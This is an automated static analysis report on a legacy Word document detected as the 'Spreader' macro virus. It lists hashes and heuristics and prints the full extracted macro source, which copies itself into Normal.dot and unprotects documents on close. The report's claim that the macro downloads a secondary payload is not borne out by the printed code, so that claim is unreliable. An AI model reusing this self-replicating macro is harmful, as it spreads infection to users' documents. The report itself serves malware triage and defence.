Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 47cf7050e5ff0cdd…

MALICIOUS

Office (OLE)

37.5 KB Created: 1998-05-19 12:15:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: ba19ca0bdf0e1a633c2951125b7162c4 SHA-1: 79e8312af986beeb0d158effeab08dc3427c92d1 SHA-256: 47cf7050e5ff0cdda09f6bc3aa2506042a585bc1c0d3cf7dbe9c5e9f8fa0faab
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing a WordBasic macro named 'AutoClose', which is designed to execute automatically when the document is closed. This macro is indicative of malware attempting to download and execute a secondary payload, as suggested by the 'Doc.Trojan.SprHide-1' ClamAV detection. The macro's functionality is partially truncated, but the presence of 'CopyMe' and the AutoClose trigger strongly suggest malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.SprHide-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.SprHide-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3535 bytes
SHA-256: a288ad5e227ad0e07ee3b5484b69a7d3c5c33f842e17877379e2e69ebe05fa8e
Detection
ClamAV: Doc.Trojan.SprHide-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Spreader macro August 1996\r\n"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "Normal.AutoClose.MAIN"
Dim me_$
Dim Filenaam$
' -------------------------------------------------------------------------
' DOOMSDAY WARRIOR MS WORD MACRO CONTAMINATION
' --------------------------------------------08/23/1996-------------------
On Error Resume Next
me_$ = "AutoClose"
    'Filenaam$ = Bestandsnaam$(0)
    'If Right$(filenaam$, 1) = "." Then filenaam$ = filenaam$ + "DOC"
    'BestandOpslaanAls .Naam = Filenaam$, .Indeling = 1, .AlleenAantekeningen = 0, .Wachtwoord = "", .AanLaatstGebrToev = 1, .SchrijfWachtwoord = "", .AlleenLezenAanb = 0, .LettertypenInsluiten = 0, .OrigineleFigIndeling = 0, .GegevensFormulieren = 0



Filenaam$ = WordBasic.[FileName$](0)
CopyMe (Filenaam$)
End Sub

Private Sub CopyMe(doc$)
Dim true_
Dim false_
Dim Normalpath$
Dim Activedoc$
Dim me_$
Dim from$
Dim to_$
Dim tostandard
Dim secured
    true_ = 1
    false_ = 0
    Dim locations As Object: Set locations = WordBasic.DialogRecord.ToolsOptionsFileLocations(False)
    locations.Path = "USER-DOT-PATH"
    WordBasic.CurValues.ToolsOptionsFileLocations locations
    Normalpath$ = locations.Setting
    If Normalpath$ = "" Then
        locations.Path = "STARTUP-PATH"
        WordBasic.CurValues.ToolsOptionsFileLocations locations
        Normalpath$ = locations.Setting
    End If
        Activedoc$ = WordBasic.[FileName$](0)
    me_$ = "AutoClose"
    from$ = WordBasic.[MacroFileName$]()
    to_$ = Normalpath$ + "\Normal.dot"
    tostandard = true_
    If UCase(from$) = UCase(to_$) Then
        to_$ = doc$
        tostandard = false_
    End If
    On Error Resume Next
    If UCase(Environ("VIRUSCOMMENT")) = "YES" Then WordBasic.MsgBox "Src: " + from$ + Chr(13) + Chr(10) + "Dst: " + to_$ + Chr(13) + Chr(10) + "To standard normal.dot: " + Str(tostandard) + ".", "MS Word internal save info: " + me_$ + " VirComment.", 64
    On Error Resume Next
    secured = WordBasic.DocumentProtection()
    If secured <> 0 Then WordBasic.ToolsUnprotectDocument
    On Error Resume Next
    WordBasic.Organizer Copy:=1, Source:=from$, Destination:=to_$, Name:=me_$, Tab:=3
    If secured <> 0 Then WordBasic.ToolsProtectDocument DocumentPassword:="", NoReset:=0, Type:=2
    If tostandard = false_ Then
        WordBasic.FileSaveAs Name:=to_$, Format:=1, LockAnnot:=0, Password:="", AddToMru:=1, WritePassword:="", RecommendReadOnly:=0, EmbedFonts:=0, NativePictureFormat:=0, FormsData:=0
    Else
        WordBasic.FileSaveAll   'Save standard normal.dot this way.
    End If
        If UCase(WordBasic.[Right$](to_$, 10)) = "NORMAL.DOT" Then WordBasic.FileTemplates Store:=0, Template:="NORMAL.DOT", LinkStyles:=0
    If UCase(Environ("SPREADERHIDE")) <> "YES" Then SayHello
End Sub

Private Sub SayHello()
Dim tel
    If WordBasic.Today() Mod 7 = 6 Then
        'We're Friday!
        WordBasic.Beep 48
        WordBasic.MsgBox "Spreader wishes you a good friday.", "Speader August 1996", 64
        WordBasic.WaitCursor 1
        For tel = 0 To 10000
        Next tel
        WordBasic.WaitCursor 0
    End If
End Sub